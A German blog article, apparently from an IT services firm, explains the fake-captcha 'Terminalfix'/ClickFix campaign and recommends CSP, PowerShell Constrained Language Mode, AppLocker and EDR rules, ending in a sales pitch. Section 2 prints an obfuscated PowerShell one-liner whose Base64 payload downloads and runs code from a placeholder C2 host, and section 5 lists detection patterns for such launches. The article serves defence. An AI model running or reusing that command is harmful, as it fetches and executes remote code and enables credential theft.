
Im September 2026 hat das Bundesamt für Sicherheit in der Informationstechnik (BSI) eine dringliche Warnung vor der „Terminalfix“-Kampagne herausgegeben: Kriminelle kapern reguläre Webseiten und täuschen Besucher mit gefälschten Cloudflare- oder Google-Captchas. Wer die angebliche 'Verifizierung' durchführt, führt unbemerkt verheerenden PowerShell-Schadcode im eigenen Terminal aus. Warum herkömmliche Firewalls hier versagen und wie Unternehmen ihre Webpräsenzen und Endpoints jetzt härten müssen.
Dieser Artikel ist ein vertiefender Fachbeitrag aus unserem Content-Cluster. Entdecken Sie die vollständige Übersicht auf unserer Hauptseite:IT-Sicherheit →
1. Die Anatomie der Täuschung: Wenn das Captcha zur Waffe wird
Die klassische Cyber-Abwehr im B2B-Mittelstand folgt seit Jahren einem bewährten Paradigma: E-Mail-Gateways filtern verdächtige Links und Anhänge, Web-Proxys sperren bekannte Phishing-Domänen und Endpoint-Detection-and-Response-Systeme (EDR) scannen nach bekannten Malware-Signaturen. Doch was geschieht, wenn ein Angriff weder einen bösartigen E-Mail-Anhang noch ein manipuliertes Makro-Dokument benötigt – sondern den legitimen menschlichen Anwender selbst dazu bringt, die Schutzmechanismen seines Betriebssystems willentlich auszuhebeln?
Genau dieses Szenario beschreibt der dringliche Lagebericht, den das Bundesamt für Sicherheit in der Informationstechnik (BSI) am 7. September 2026 nach gravierenden Sicherheitsvorfällen in der Berliner Landes-IT und mehreren Industrieunternehmen veröffentlichte. Im Fokus der Warnung steht eine aggressive Angriffswelle, die unter dem Fachbegriff „Terminalfix“ (international als „ClickFix“ bekannt) dokumentiert wird.
Die Täter kapern legitime, vertrauenswürdige Unternehmens-Websites – häufig WordPress-Instanzen mit veralteten Plugins oder anfällige Web-Applikationen – und injizieren einen scheinbar harmlosen JavaScript-Code. Besucht ein Mitarbeiter im Büro oder Homeoffice diese Seite, blockiert ein täuschend echter Überlagerungsdialog den Bildschirm. Die Benutzeroberfläche imitiert bis ins kleinste Detail vertraute Sicherheitsabfragen, etwa den „Cloudflare Turnstile“-Roboter-Check, eine „Google reCAPTCHA v3“-Prüfung oder einen angeblichen Browser-Fehler der Marke „DNS-Cache beschädigt – automatische Reparatur erforderlich“.
BSI-Lagebewertung September 2026
Das BSI stuft die Terminalfix-Kampagne als akute Bedrohung für Unternehmensnetzwerke und öffentliche Verwaltungen ein. Da der Schadcode nicht per Drive-by-Download auf die Festplatte geschrieben, sondern durch den Anwender selbst über das Betriebssystem-Terminal ausgeführt wird, laufen herkömmliche Antiviren-Scanner im Moment der Infektion häufig ins Leere.
Die Raffinesse des Angriffs liegt in der psychologischen Manipulation (Social Engineering): Um zu „beweisen, dass man kein Bot ist“ oder um „den Anzeigefehler zu beheben“, fordert der Dialog den Anwender zu einer kurzen Tastenkombination auf:
Windows-Taste + R(Öffnen des Windows-Ausführen-Dialogs) oder Öffnen des Terminals unter macOS/Linux.Strg + V(Einfügen).Enter(Bestätigen).
Was der Nutzer für eine harmlose Reparatur- oder Bestätigungssequenz hält, ist in Wahrheit ein hochgradig obfuskierter, Base64-codierter PowerShell-Einzeiler, der im selben Moment über die moderne HTML5-Zwischenablage-API (navigator.clipboard.writeText) lautlos im Speicher des Rechners abgelegt wurde. Mit dem Druck auf die Enter-Taste initiiert der Anwender eigenhändig den Systemabsturz: Binnen Millisekunden wird ein vollwertiger Information-Stealer nachgeladen, der Session-Cookies, VPN-Zertifikate und Browser-Passwörter an Command-and-Control-Server (C2) der Angreifer exfiltriert.
2. Der Angriffsvektor im technischen Detail: Die ClickFix-Mechanik
Um wirksame Abwehrmechanismen zu etablieren, müssen IT-Leiter, CISOs und Software-Architekten die exakte Kette des Angriffs (Kill Chain nach MITRE ATT&CK) verstehen. Die Terminalfix-Architektur kombiniert Web-Injektion (T1059.007), Clipboard-Manipulation (T1115), User-Execution (T1204.002) und PowerShell-Payloads (T1059.001) zu einer nahtlosen Kompromittierungs-Pipeline.
Phasen des Terminalfix-Angriffs
Die Angreifer scannen das Internet nach bekannten Schwachstellen in Content-Management-Systemen (wie SQL-Injections, RCE-Lücken in WordPress-Plugins oder kompromittierten npm-Paketen). Ist eine Website infiltriert, wird ein minimales JavaScript in das DOM eingeschleust, das nur bei echten menschlichen Besuchern (anhand von Mausbewegungen und Bildschirmauflösung) aktiv wird.
Der reguläre Webseiteninhalt wird durch ein modales CSS-Overlay abgedunkelt. Ein SVG-animiertes Fenster imitiertes gängige Captcha-Prüfungen mit Texten wie: „Fehler bei der Cloudflare-Verifizierung (Code: 0x80041002). Bitte führen Sie das Terminal-Reparaturprotokoll aus, um die Verbindung wiederherzustellen.“
Sobald der Nutzer auf den Button „Verifizierungs-Code kopieren“ klickt – oder in manchen Varianten bereits bei Klick auf die Checkbox –, triggert das Skript die Web-API navigator.clipboard.writeText(). Die Zwischenablage des Betriebssystems wird unbemerkt mit einem bösartigen PowerShell-Befehl überschrieben.
Der Anwender folgt der Bildschirmanweisung, drückt Win + R, fügt den Inhalt mit Strg + V ein und drückt Enter. Da die Ausführung im Kontext des aktuell angemeldeten Benutzers erfolgt, greifen Standard-Sicherheitsgrenzen für unprivilegierte Web-Downloads nicht.
Der PowerShell-Befehl lädt einen verschlüsselten Stage-2-Payload (z. B. Lumma Stealer v4, Vidar oder Rhadamanthys) direkt in den Arbeitsspeicher herunter. Binnen 60 Sekunden werden alle aktiven Browser-Sitzungen (Session Hijacking), Passwörter, SSH-Schlüssel und Anmelde-Tokens abgegriffen und per TLS an die Angreifer übermittelt.
Exemplarischer Aufbau des injizierten Payloads
Ein typischer Befehl, der durch die Zwischenablage geschleust wird, nutzt gezielt LOLBins (Living off the Land Binaries) – also legitime Windows-Dienstprogramme, um signaturbasierte Erkennungen zu umgehen:
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command ^
"$b = [System.Convert]::FromBase64String('aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL2FwaS5jMnNlcnZlci1kb21haW4ubmV0L2dldCcp'); ^
$c = [System.Text.Encoding]::UTF8.GetString($b); Invoke-Expression $c"
Dieser Einzeiler bewirkt Folgendes:
-NoProfile: Verhindert das Laden benutzerdefinierter PowerShell-Profile, um Startverzögerungen zu eliminieren.-ExecutionPolicy Bypass: Versucht die lokale Skript-Restriktion für diesen Aufruf auszuhebeln.-WindowStyle Hidden: Schließt das geöffnete Konsolenfenster sofort wieder, sodass der Mitarbeiter keinen Verdacht schöpft.Invoke-Expression (iex): Führt den dynamisch aus dem Internet nachgeladenen Base64-Schadcode direkt im RAM aus, ohne eine Datei auf der Festplatte abzulegen (Fileless Malware).
3. Warum KMUs und Enterprise-Netze doppelt gefährdet sind
Die Terminalfix-Angriffswelle bedroht Unternehmen aus zwei völlig unterschiedlichen Blickwinkeln: als Betroffener über kompromittierte Clients und als unfreiwilliger Gehilfe über die eigene Webpräsenz.
Gefahr 1: Der eigene Mitarbeiter als Einfallstor (Credential Theft & Lateral Movement)
Wird ein Arbeitsplatzrechner infiziert, geht es den Angreifern im Jahr 2026 selten um die sofortige Zerstörung von Systemen. Das primäre Ziel moderner Stealer-Banden ist das Abfangen von Identitäten und aktiven Sitzungen:
Session-Cookie Hijacking
Stealer extrahieren unverschlüsselte Sitzungs-Cookies aus Chromium- und Gecko-basierten Browsern. Angreifer können sich damit ohne Eingabe von Passwort oder 2FA-Token direkt in Cloud-Dienste (Microsoft 365, Google Workspace, AWS, Jira) einloggen.
SSH-Keys & Entwickler-Tokens
Die Malware durchsucht das Benutzerverzeichnis (~/.ssh/, ~/.aws/credentials, ~/.git-credentials) gezielt nach privaten Schlüsseln und Personal Access Tokens (PATs) für GitHub und GitLab.
VPN & Active-Directory-Hashes
Durch den Zugriff auf lokale Passwort-Manager, Keepass-Datenbanken und gespeicherte RDP-Verbindungen dient der kompromittierte Client als perfekter Brückenkopf für das Lateral Movement im Firmen-LAN.
Finanz- & ERP-Zugänge
Eingeloggte Sessions in Buchhaltungs- und ERP-Systemen (wie DATEV Online, SAP Cloud oder sevDesk) werden unmittelbar übernommen, um Zahlungsströme umzuleiten oder Kundendaten zu stehlen.
Gefahr 2: Die eigene Website als Erfüllungsgehilfe (Haftungs- & NIS2-Falle)
Der zweite, oft übersehene Aspekt ist die Haftung: Wenn die offizielle Website Ihres Unternehmens kompromittiert und mit Terminalfix-Skripten infiziert wird, werden Ihre Kunden, Partner und Geschäftskontakte beim Besuch Ihrer Domain angegriffen.
Unter der europäischen NIS2-Richtlinie sowie der DSGVO (Art. 32 – Sicherheit der Verarbeitung) drohen drastische Konsequenzen:
B2B-Kunden und Partner fordern Schadenersatz, wenn Infektionen nachweislich über das Zuliefererportal, API-Schnittstellen oder die offizielle Unternehmenswebsite eingeschleust wurden.
Nach NIS2 müssen erhebliche Sicherheitsvorfälle unverzüglich gemeldet werden. Eine manipulierte Website, die Malware an Besucher verteilt, gilt melderechtlich als schwerer Vorfall mit Vorstandshaftung.
Google Safe Browsing, Microsoft SmartScreen und DNS-Filter sperren die Domain innerhalb weniger Stunden als „Gefährliche Webseite (Phishing/Malware)“. E-Mails werden abgewiesen, das Google-Ranking bricht vollständig ein.
4. Technische Gegenmaßnahmen für Webseitenbetreiber
Wer moderne Web-Plattformen betreibt, darf sich nicht auf die Annahme verlassen, dass der Webserver unantastbar ist. Eine mehrschichtige Härtung (Defense in Depth) verhindert, dass Schadcode injiziert oder im Browser des Nutzers ausgeführt werden kann.
1. Strikte Content Security Policy (CSP)
Die wirksamste Waffe gegen clientseitige Injektionen ist ein rigoros konfigurierter Content-Security-Policy-HTTP-Header. Wenn der Browser angewiesen wird, Inline-Skripte und unautorisierte Fremddomänen strikt zu ignorieren, verpufft der Terminalfix-Code wirkungslos:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com 'nonce-R4nd0mStr1ng'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.pragma-code.de; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
Die goldenen CSP-Regeln gegen Terminalfix:
Kein unsafe-inline für Skripte
Nutzen Sie stattdessen kryptografische Nonces ('nonce-...') oder SHA-256-Hashes für statische Skripte, um eingeschleusten Fremdcode sofort abzufangen.
Kein unsafe-eval
Verhindert zuverlässig, dass obfuskierter Schadcode über dynamische Auswertungsfunktionen wie eval() oder Function() im Browser ausgeführt wird.
Restriktives connect-src
Verbietet dem Browser das Senden gestohlener Daten und sperrt unautorisierte XHR-, Fetch- und WebSocket-Verbindungen zu unbekannten C2-Servern.
2. Subresource Integrity (SRI)
Binden Sie JavaScript-Bibliotheken (wie jQuery, Charts oder UI-Komponenten) über CDNs ein, muss zwingend der integrity-Tag mit einem SHA-384- oder SHA-512-Hash gesetzt werden. Wird das Skript auf dem CDN manipuliert, verweigert der Browser das Laden:
<script
src="https://cdn.example.com/npm/library@2.4.0/dist/bundle.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
3. Architekturwechsel: Headless & Static Stacks (Astro / Next.js) statt PHP-Monolithen
Die überwältigende Mehrheit der für Terminalfix gekaperten Websites basiert auf veralteten, überfrachteten WordPress-, Typo3- oder Joomla-Installationen mit 30 bis 50 Drittanbieter-Plugins. Jedes Plugin stellt ein potenzielles Einfallstor für Injektionen dar.
Bei Pragma-Code setzen wir für performante und sichere Unternehmenswebsites auf moderne, statisch generierte Architekturen (wie Astro oder serverless Next.js):
Keine dynamische PHP-Angriffsfläche
Es gibt keine ausführende PHP-Engine und keine SQL-Datenbank auf dem Webserver, die über Formulare, Endpunkte oder Plugins gehackt werden könnte.
Automatisierte CI/CD-Sicherheits-Pipelines
Jeder Build durchläuft automatisierte Dependency-Vulnerability-Scans (Dependabot, Snyk, CodeQL), bevor eine Version auf das Edge-Netzwerk ausgerollt wird.
Immutable Deployment
Die ausgelieferten HTML- und JS-Dateien sind schreibgeschützt auf Edge-CDNs abgelegt – eine nachträgliche Manipulation im laufenden Betrieb ist technisch ausgeschlossen.
5. Endpoint- & System-Härtung für IT-Administratoren
Selbst wenn ein Mitarbeiter auf einer externen, fremden Website auf den Fake-Captcha-Trick hereinfällt, muss das lokale IT-Sicherheitskonzept verhindern, dass der PowerShell-Code Schaden anrichten kann.
Gegenüberstellung: Traditioneller Antivirus vs. Zero-Trust-Härtung
| Sicherheitsdimension | Traditioneller Virenscanner (Signaturbasiert) | Zero-Trust & System-Härtung (Pragma-Code Standard) |
|---|---|---|
Ausführung von LOLBins (powershell.exe) |
Erlaubt (Standard-Systemprozess von Windows). | Blockiert oder strikt reglementiert via AppLocker / WDAC. |
| PowerShell-Skriptsprache | Vollzugriff auf alle .NET- und Win32-APIs. | ConstrainedLanguageMode: Sperrt C2-Download-Methoden. |
| Parent-Process-Hierarchie | Ignoriert, solange keine bekannte Malware-Signatur vorliegt. | EDR-Alert: Start von PowerShell aus Browser/Explorer wird sofort isoliert. |
| Ausführung im Benutzerkontext | Ungeprüft, solange keine Admin-Rechte angefordert werden. | Application Whitelisting: Nur digital signierter Firmen-Code darf starten. |
| Zwischenablage-Zugriff | Unbegrenzt für jede beliebige Webseite im Browser. | Browser-GPO sperrt programmatische Zwischenablage-Schreibzugriffe. |
Konkrete Härtungsmaßnahmen für Windows-Netzwerke
1. PowerShell Constrained Language Mode global erzwingen
Der einfachste und effektivste Schutz gegen fileless PowerShell-Angriffe ist die Aktivierung des eingeschränkten Sprachmodus über Gruppenrichtlinien (GPO) oder Umgebungsvariablen. Im ConstrainedLanguageMode werden Methoden wie DownloadString, Invoke-Expression und direkte COM-Aufrufe blockiert:
# Setzen der System-Umgebungsvariable per administrativer PowerShell:
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")
Nach einem Neustart führt jeder Versuch, unautorisierten Code im RAM auszuführen, zu einem sofortigen Abbruch mit Fehlermeldung: „Die Ausführung von Skripten ist in diesem Modus auf grundlegende PowerShell-Funktionen beschränkt.“
2. Windows Defender Application Control (WDAC) / AppLocker
Konfigurieren Sie AppLocker-Regeln so, dass Standard-Benutzer keine Skripte aus Verzeichnissen wie C:\Users\...\AppData\ oder C:\Temp\ starten können. PowerShell-Aufrufe mit dem Parameter -ExecutionPolicy Bypass müssen über Richtlinien administrativ unterbunden werden.
3. EDR-Verhaltensregeln gegen Process-Spawning
Überwachen Sie mit Ihrer EDR-Lösung (z. B. Microsoft Defender for Endpoint, SentinelOne oder CrowdStrike) verdächtige Eltern-Kind-Prozessbeziehungen. Folgende Ereignisse müssen einen Prio-1-Alarm auslösen:
chrome.exe/msedge.exe/firefox.exe➔ erzeugt ➔explorer.exemit Argumentenexplorer.exe(über den Ausführen-Dialog) ➔ startet ➔powershell.exemit den Flags-WindowStyle Hiddenoder-EncodedCommandpowershell.exe➔ baut ausgehende TCP-Verbindungen auf unbekannte Ports/IPs auf
4. Browser-Richtlinien härten (GPO)
Über ADMX-Vorlagen für Google Chrome und Microsoft Edge sollten Administratoren den Zugriff auf die Web-Zwischenablage beschränken:
- DefaultClipboardSetting: Auf
2setzen (Websites das Lesen und Schreiben der Zwischenablage standardmäßig verweigern, es sei denn, der Nutzer erlaubt es explizit pro vertrauenswürdiger Domäne).
6. Der Notfall-Leitfaden: Was tun bei Verdacht auf Infektion?
Hat ein Mitarbeiter gemeldet, dass er einen Verifizierungscode im Terminal ausgeführt hat, zählt jede Minute. Da moderne Information-Stealer ihre Exfiltration innerhalb von 60 bis 180 Sekunden abschließen, muss der Incident-Response-Prozess sofort anlaufen.
Trennen Sie den betroffenen Client physisch vom LAN (Kabel ziehen) und deaktivieren Sie WLAN/Bluetooth. Fahren Sie das Gerät NICHT herunter, um forensische Beweise im flüchtigen Arbeitsspeicher (RAM) nicht zu zerstören.
Setzen Sie alle aktiven Cloud-Sitzungen des Benutzers über das Admin-Center (z. B. Microsoft Entra ID: „Sitzungen widerrufen“) sofort zurück. Das Ändern des Passworts allein genügt nicht, da gestohlene Session-Cookies weiterhin gültig bleiben!
Alle im Browser gespeicherten Passwörter, SSO-Zugänge, VPN-Profile und API-Tokens müssen von einem sicheren Zweitgerät aus neu generiert werden. Bestehende MFA-Geräteregistrierungen auf Anomalien prüfen.
Prüfen Sie die Windows-Ereignisprotokolle (Event ID 4104: Script Block Logging) nach dem vollständigen Klartext des ausgeführten PowerShell-Befehls, um die IP-Adressen der C2-Server und die nachgeladene Malware-Familie zu identifizieren.
Ein kompromittierter Client darf unter keinen Umständen einfach „bereinigt“ werden. Stealer richten persistente Hintertüren (Scheduled Tasks, Registry-Run-Keys) ein. Das System muss vollständig plattgemacht und über ein sauberes Golden Image neu ausgerollt werden.
Prüfen Sie mit dem Datenschutzbeauftragten, ob personenbezogene Daten oder Kundendaten abgeflossen sind (DSGVO Art. 33: 72-Stunden-Frist) und ob eine NIS2-Meldung an das BSI erforderlich ist.
7. Fazit & Handlungsplan: Keine Ausführung ohne Verifikation
Die BSI-Warnung vor Terminalfix markiert einen qualitativen Wendepunkt in der Bedrohungslandschaft des Jahres 2026: Angreifer greifen nicht mehr primär Software-Schwachstellen an, sondern nutzen die Hilfsbereitschaft und Gewohnheit von Anwendern aus, um System-Tools gegen das eigene Unternehmen zu wenden.
Für IT-Entscheider und Geschäftsführer im Mittelstand ergeben sich daraus zwei unumstößliche Prinzipien:
Kein seriöser Anbieter – weder Google, noch Microsoft, Cloudflare oder Ihre interne IT – wird Sie jemals auffordern, Tastenkombinationen wie Win + R zu drücken und fremden Code in eine Eingabeaufforderung einzufügen, um ein Video abzuspielen, ein Captcha zu lösen oder ein Dokument herunterzuladen. Wer das verlangt, ist zu 100 Prozent ein Angreifer.
Verlassen Sie sich nicht auf Awareness allein. Durch die Kombination aus modernen, statischen Web-Architekturen (Astro), strikten Content Security Policies (CSP) und restriktiver Endpoint-Härtung (PowerShell Constrained Language Mode, AppLocker) verpufft selbst der geschickteste Social-Engineering-Trick wirkungslos.
Möchten Sie überprüfen, ob Ihre Unternehmens-Websites und IT-Systeme gegen moderne Angriffsvektoren wie Terminalfix, Session Hijacking und Supply-Chain-Injektionen geschützt sind? Das Team von Pragma-Code auditiert Ihre Sicherheitsarchitektur, implementiert maßgeschneiderte Content Security Policies und unterstützt Sie beim Umstieg auf moderne, manipulationssichere Web-Stacks.
Unsere Expertise vor Ort
Wir sind Ihr digitaler Partner – regional verankert und überregional erfolgreich.
Haben Sie eine Vision?
Lassen Sie uns gemeinsam prüfen, wie wir Ihre Idee zum Fliegen bringen.
Jetzt kostenloses Strategiegespräch buchenErweitertes Fachglossar
Terminalfix / ClickFix
Ein Social-Engineering-Angriffsvektor, der gefälschte Fehlermeldungen oder Captcha-Dialoge im Browser nutzt, um Anwender zur manuellen Ausführung von bösartigem Shell-Code über die Zwischenablage zu verleiten.
Content Security Policy (CSP)
Ein HTTP-Sicherheitsheader, der festlegt, aus welchen vertrauenswürdigen Quellen der Browser Skripte, Styles, Frames und Verbindungen laden darf, um Cross-Site-Scripting (XSS) und Injektionen zu verhindern.
Constrained Language Mode (CLM)
Eine Sicherheitsbetriebsart der PowerShell, die den Zugriff auf sensible .NET-Klassen, COM-Objekte und native Windows-APIs sperrt und so die Ausführung bösartiger Payloads unterbindet.
Subresource Integrity (SRI)
Ein W3C-Sicherheitsstandard, bei dem der Browser externe Skripte (z. B. via CDN) anhand eines kryptografischen Hashes prüft, um manipulierte Drittanbieter-Dateien sofort zu blockieren.
Information-Stealer
Eine Schadsoftware-Klasse (wie Lumma, Vidar oder Stealc), die darauf spezialisiert ist, Browser-Passwörter, Session-Cookies, Krypto-Wallets und 2FA-Tokens geräuschlos abzugreifen.
Application Whitelisting (WDAC / AppLocker)
Ein Sicherheitsprinzip, bei dem Betriebssysteme standardmäßig jede ausführbare Datei blockieren, es sei denn, sie ist durch kryptografische Zertifikate oder Pfadregeln explizit freigegeben.


